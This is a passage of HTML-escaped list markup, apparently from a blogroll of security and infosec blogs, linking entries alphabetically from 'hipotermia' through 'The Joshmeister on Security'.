  &lt;li&gt;&lt;a href=&quot;https://hipotermia.pw&quot;&gt;hipotermia&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.h-i-r.net&quot;&gt;HiR Information Report&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hnd3884.github.io&quot;&gt;HoangND&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://holdmybeersecurity.com&quot;&gt;HOLDMYBEER&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://pierrekim.github.io&quot;&gt;Home of Pierre&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://homecrew.dev/index.html&quot;&gt;homecrew&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://homjxi0e.wordpress.com&quot;&gt;homjxi03&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://honoki.net&quot;&gt;Honoki&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://0xhop.github.io&quot;&gt;Hop Infosec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hopesamples.blogspot.com&quot;&gt;HOPE&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://horkan.com&quot;&gt;Horkan&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hosch3n.github.io&quot;&gt;hosch3n&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hot3eed.github.io&quot;&gt;hot3eed&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.hoyahaxa.com&quot;&gt;HoyaHaxa&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://http418infosec.com&quot;&gt;HTTP418 InfoSec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.devever.net/~hl/&quot;&gt;Hugo Landau&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.huli.tw&quot;&gt;Huli&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.vzqk50.com/blog/&quot;&gt;The Hive&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://h0mbre.github.io&quot;&gt;The Human Machine Interface&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hungoboss.com/category/cybersecurity/&quot;&gt;Hung Ngo&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hydrox.fun&quot;&gt;HYDROX.fun&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://howtohypervise.blogspot.com&quot;&gt;hypervision tips and tricks&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hvmi.github.io/blog/&quot;&gt;Hypervisor Memory Introspection&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.hypn.za.net/blog/&quot;&gt;Hypn.za.net&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://blog.coffinsec.com&quot;&gt;hyprblog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.iamit.org/blog/&quot;&gt;I Am Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://icanhack.nl/blog/&quot;&gt;I CAN Hack&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://allsoftwaresucks.blogspot.com&quot;&gt;I hate software&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ian.sh&quot;&gt;Ian Carroll&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ianduffy.ie&quot;&gt;Ian Duffy&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://iamelli0t.github.io&quot;&gt;iamelli0t&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://iamse.blog&quot;&gt;iamse.blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://landave.io&quot;&gt;Iandave’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.iblue.team&quot;&gt;iblue.team&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.ibrahimdraidia.com/&quot;&gt;Ibrahim Raidia&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ic3qu33n.fyi&quot;&gt;ic3qu33n&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://icanhaspii.github.io&quot;&gt;icanhaspii CTF Stuff&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://icyguider.github.io&quot;&gt;Icyguider’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://idcaboutprivacy.com&quot;&gt;idcaboutprivacy&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://idov31.github.io&quot;&gt;Ido Veltzman&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.idontplaydarts.com&quot;&gt;idontplaydarts&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://igor-blue.github.io&quot;&gt;Igor’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://en.iguru.gr/infosec/&quot;&gt;iGuru&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.ihteam.net&quot;&gt;IHTeam&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ijustwannared.team&quot;&gt;ijustwannaredteam&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.ikuamike.io&quot;&gt;ikuamike.io&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ilankalendarov.github.io&quot;&gt;Ilan Kalendarov&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://buttondown.email/illuminatedsecurity/archive/&quot;&gt;Illuminated Security News&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.ilyakobzar.com&quot;&gt;Ilya Kobzar&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://christopherbauer.org&quot;&gt;Imaginative Realities&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://imp0rtp3.wordpress.com/blog/&quot;&gt;imp0rtp3&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.imperialviolet.org&quot;&gt;ImperialViolet&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://yingtongli.me/blog/&quot;&gt;Inane Observations&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.incendium.rocks&quot;&gt;Incendium.rocks&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://incogbyte.github.io&quot;&gt;incogbyte.sec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://incolumitas.com&quot;&gt;incolumitas&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.securityevaluators.com&quot;&gt;independent security evaluators&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://rashahacks.com&quot;&gt;Inderjeet Singh - rashahacks&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.infernux.no&quot;&gt;infernux.no&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.infiltrateops.io&quot;&gt;infiltrateops&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://infosecadalid.com&quot;&gt;Infosec Adalid&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://infosec.engineering&quot;&gt;Infosec Engineering&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://infosec.house/blog/&quot;&gt;Infosec House&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.infosecinnovations.com/blog-1&quot;&gt;InfoSec Innovations&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.codydmartin.com&quot;&gt;Infosec Rabbit Holes&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.infosecworrier.dk/blog/&quot;&gt;Infosec Worrier&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://infosec.engineering&quot;&gt;infosec.engineering&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.infosec.tirol/blog-page/&quot;&gt;infosec.tirol&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.infosecday.com/blog/&quot;&gt;InfoSecDay&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.infosecmatter.com&quot;&gt;InfosecMatter&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.infosectcbr.com.au&quot;&gt;InfoSect&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://infosecvidya.com&quot;&gt;InfosecVidya&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ing.zip&quot;&gt;ing.zip&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://archive.ingredous.com&quot;&gt;ingredous&lt;/a&gt; &amp;amp; &lt;a href=&quot;https://labs.ingredous.com&quot;&gt;&lt;i class=&quot;ph ph-flask&quot;&gt;&lt;/i&gt;&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cybersec84.wordpress.com/home/&quot;&gt;Inicio&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://initinfosec.com&quot;&gt;init infosec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://initblog.com&quot;&gt;initblog.com&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://abrignoni.blogspot.com&quot;&gt;Initialization vectors&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.inkbridgenetworks.com/blog&quot;&gt;InkBridge Networks&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.inputzero.io&quot;&gt;INPUTZERO&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://dev-zzo.github.io/blarg/&quot;&gt;Insane blabbering of an old man&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://insec.life&quot;&gt;insec.life&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://insecuremode.com/all-posts&quot;&gt;Insecure mode&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://text.tchncs.de/ioi/&quot;&gt;Inside Out Insights&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://insinuator.net&quot;&gt;Insinuator&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://write.as/intelgraphy/&quot;&gt;Intel + Graphy&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://interrupt0x80.blogspot.com&quot;&gt;Interrupt 0x80&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://emptynebuli.github.io&quot;&gt;Into the Abyss&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.intothesymmetry.com&quot;&gt;Into The Symmetry&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://introvertmac.wordpress.com&quot;&gt;Introvert Mac&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.redteam.cafe&quot;&gt;Intruder&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://intrusiontruth.wordpress.com&quot;&gt;Intrusion Truth&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.inulledmyself.com&quot;&gt;INulledMyself&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.inversecos.com&quot;&gt;inversecos&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://invokere.com/posts/&quot;&gt;Invoke Reversing&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ioc.wiki/start&quot;&gt;ioc.wiki&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pwner.gg&quot;&gt;io::pewpew()&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ionutbalosin.com/blog/&quot;&gt;Ionut Balosin&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://tkopf.de/posts/&quot;&gt;iOS Snapshot Fuzzing&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ip3c4c.com&quot;&gt;IP3C4C’s Infosec Adventure&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ipfyx.fr&quot;&gt;ipfyx&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blacktop.github.io/ipsw/blog&quot;&gt;ipsw&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.ircmaxell.com&quot;&gt;ircmaxell&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://irenezhang.net/news/&quot;&gt;Irene Y. Zhang&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://irisc-research-syndicate.github.io&quot;&gt;iRISC research syndicate&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.daknob.net&quot;&gt;Irresponsible Disclosure&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ishaqmohammed.me/posts/&quot;&gt;Ishaq Mohammed&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.isiraadithya.com&quot;&gt;Isira Adithya&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.itsecurityexpert.co.uk&quot;&gt;IT Security Expert Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://itayie.me&quot;&gt;Itay lellin&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://itm4n.github.io&quot;&gt;itm4n&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://itsbroken.ai&quot;&gt;itsbroken.ai&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ittavern.com&quot;&gt;ITTavern&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.kwiatkowski.fr&quot;&gt;Ivan Kwiatkowski&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://iximiuz.com/en/&quot;&gt;Ivan Velichko&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://iwantmore.pizza&quot;&gt;iwantmore.pizza&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://j0vsec.com&quot;&gt;J0VSEC&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.xot.nl/index.html&quot;&gt;Jaap-Henk Hoepman&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://whitton.io/posts/&quot;&gt;Jack&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cablej.io/blog&quot;&gt;Jack Cable - Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://jhalon.github.io&quot;&gt;Jack Hacks&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.jackphilipbutton.com&quot;&gt;Jack Philip Button&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.jackrendor.dev&quot;&gt;Jack Rendor&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://whitton.io/posts/&quot;&gt;Jack Whitton&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://jackfromeast.site&quot;&gt;jackfromeast’s blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://jghuff.com/blog/&quot;&gt;Jackson Huff’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://jackson-t.com&quot;&gt;Jackson T.&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://jacobian.org&quot;&gt;Jacob Kaplan-Moss&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://jacobriggs.io/blog/&quot;&gt;Jacob Riggs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://jads.blog&quot;&gt;Jad Karaki&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://jakearchibald.com&quot;&gt;Jake Archibald&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://jakecreps.com&quot;&gt;Jake Creps&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://jakehildreth.github.io/blog/&quot;&gt;Jake Hildreth&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://jakewnuk.com/posts/&quot;&gt;JakeWnuk&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://jarosz.dev&quot;&gt;Jakub Jarosz&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://jamchamb.net&quot;&gt;jamchamb’s blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://james-clee.com&quot;&gt;James Clee&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://jamescoote.co.uk&quot;&gt;James Coote&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://jameskettle.com&quot;&gt;James Kettle&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.jamesstevenson.me/articles/&quot;&gt;James Stevenson&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ja.meswoolley.co.uk&quot;&gt;James Woolley&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://chair6.net&quot;&gt;Jamie Finnigan&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.gleeda.org&quot;&gt;Jamie Levy&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.jamieweb.net/blog/&quot;&gt;Jamie Scaife&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://jan0ski.github.io&quot;&gt;Jan0ski’s Security Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://wongmjane.com&quot;&gt;Jane Manchun Wong&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.jarvisw.com&quot;&gt;Jarvis’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://jasminderpalsingh.info/blog/&quot;&gt;Jasminder Pal Singh&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.jhaddix.com/blog&quot;&gt;Jason Haddix&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.jasono.io/category/posts/&quot;&gt;jasono.io&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://jatindhankhar.in/blog/&quot;&gt;Jatin Dhankhar&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://soez.github.io&quot;&gt;javierprtd Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.jaybosamiya.com/blog/&quot;&gt;Jay Bosamiya&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://jc0b.computer&quot;&gt;jc0b&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://jeanchristophvonoertzen.com/blog&quot;&gt;Jean-Christoph von Oertzen&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.syscall.wtf&quot;&gt;Jed Salazar&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://jeffcodesthings.blogspot.com&quot;&gt;Jeff Codes Things&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://jeffreyappel.nl&quot;&gt;Jeffrey Appel&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.bencteux.fr&quot;&gt;Jeffrey Bencteux&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sneak.berlin&quot;&gt;Jeffrey Paul&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://jeffreyt.nl&quot;&gt;Jeffrey Tigchelaar&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://jeffsoh.blogspot.com&quot;&gt;JeffSoh on NetSec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://vdwaa.nl&quot;&gt;Jelle van der Waa&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://jellevergeer.com/category/blog/&quot;&gt;Jelle Vergeer&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://jeltz.org/blog.html&quot;&gt;Jeltz&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://jemma.dev&quot;&gt;Jemma Issroff&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://jeroengui.be&quot;&gt;Jeroen Gui&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://jerrygamblin.com&quot;&gt;JerryGamblin&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.jse.li&quot;&gt;Jesse Li&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.jeti.pw&quot;&gt;Jeti’s blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://jilles.com&quot;&gt;Jilles&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://jameshfisher.com/blogroll/&quot;&gt;Jim Fisher&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://jimjourney.super.site&quot;&gt;JimJourney&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://jineeshak.github.io&quot;&gt;Jineesh AK&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://jinone.github.io&quot;&gt;Jinone&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://jjensn.com&quot;&gt;jjensn&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://joakim.uddholm.com&quot;&gt;Joakim Uddholm&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://outurnate.com&quot;&gt;Joe Dillon&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.joesecurityblog.com/blog&quot;&gt;Joe Security Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://jtsylve.blog&quot;&gt;Joe T. Sylve, Ph.D.&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://joern.io/blog/&quot;&gt;Joern&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://joev.dev&quot;&gt;joev.dev&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.joeware.net&quot;&gt;joeware&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://johannesbader.ch&quot;&gt;Johannes Bader&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.johndcook.com/blog/&quot;&gt;John D. Cook&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.jgc.org&quot;&gt;John Graham-Cumming&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sechubb.com/blog/&quot;&gt;John Hubbard&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://johnjhacking.com/blog/&quot;&gt;John Jackson&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.misczak.com/posts/&quot;&gt;John Misczak&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://johnopdenakker.com&quot;&gt;John Opdenakker&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://johnstawinski.com/home-2/&quot;&gt;John Stawinski IV&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://john-woodman.com&quot;&gt;John Woodman’s Security Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.jomar.fr/posts/&quot;&gt;Jomar Website&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://jonpalmisc.com/blog&quot;&gt;Jon Palmisciano&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://claudijd.github.io&quot;&gt;Jonathan Claudius&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://jonathan.protzenko.fr/blog.html&quot;&gt;Ohnathan Protzenko&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.schnittger.me&quot;&gt;Jonathan Schnittger&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.jonlu.ca&quot;&gt;JonLuca’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.jonsdocs.org.uk&quot;&gt;Jonsdocs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://joonas.fi&quot;&gt;joonas.fi&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://joranhonig.nl&quot;&gt;Joran Honig&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://jordanpotti.com&quot;&gt;Jordan Potti&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://jordan-wright.com/blog/&quot;&gt;Jordan Wright&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.nietaanraken.nl&quot;&gt;Joren Vrancken&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://jorgectf.github.io/blog/&quot;&gt;Jorge CTF&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://jlajara.gitlab.io&quot;&gt;Jorge Lajara&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://jorianwoltjer.com/blog/&quot;&gt;Jorian Woltjer&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.josephkirwin.com&quot;&gt;Joseph Kirwin&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://jtulowiecki.github.io&quot;&gt;Joseph Tulowiecki&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://lospi.net&quot;&gt;Josh&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://joshcgrossman.com/posts/&quot;&gt;Josh Grossman&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.joshlemon.com.au&quot;&gt;Josh Lemon&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://magic-box.dev&quot;&gt;Josh Merrill&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://security.thejoshmeister.com&quot;&gt;The Joshmeister on Security&lt;/a&gt;&lt;/li&gt;
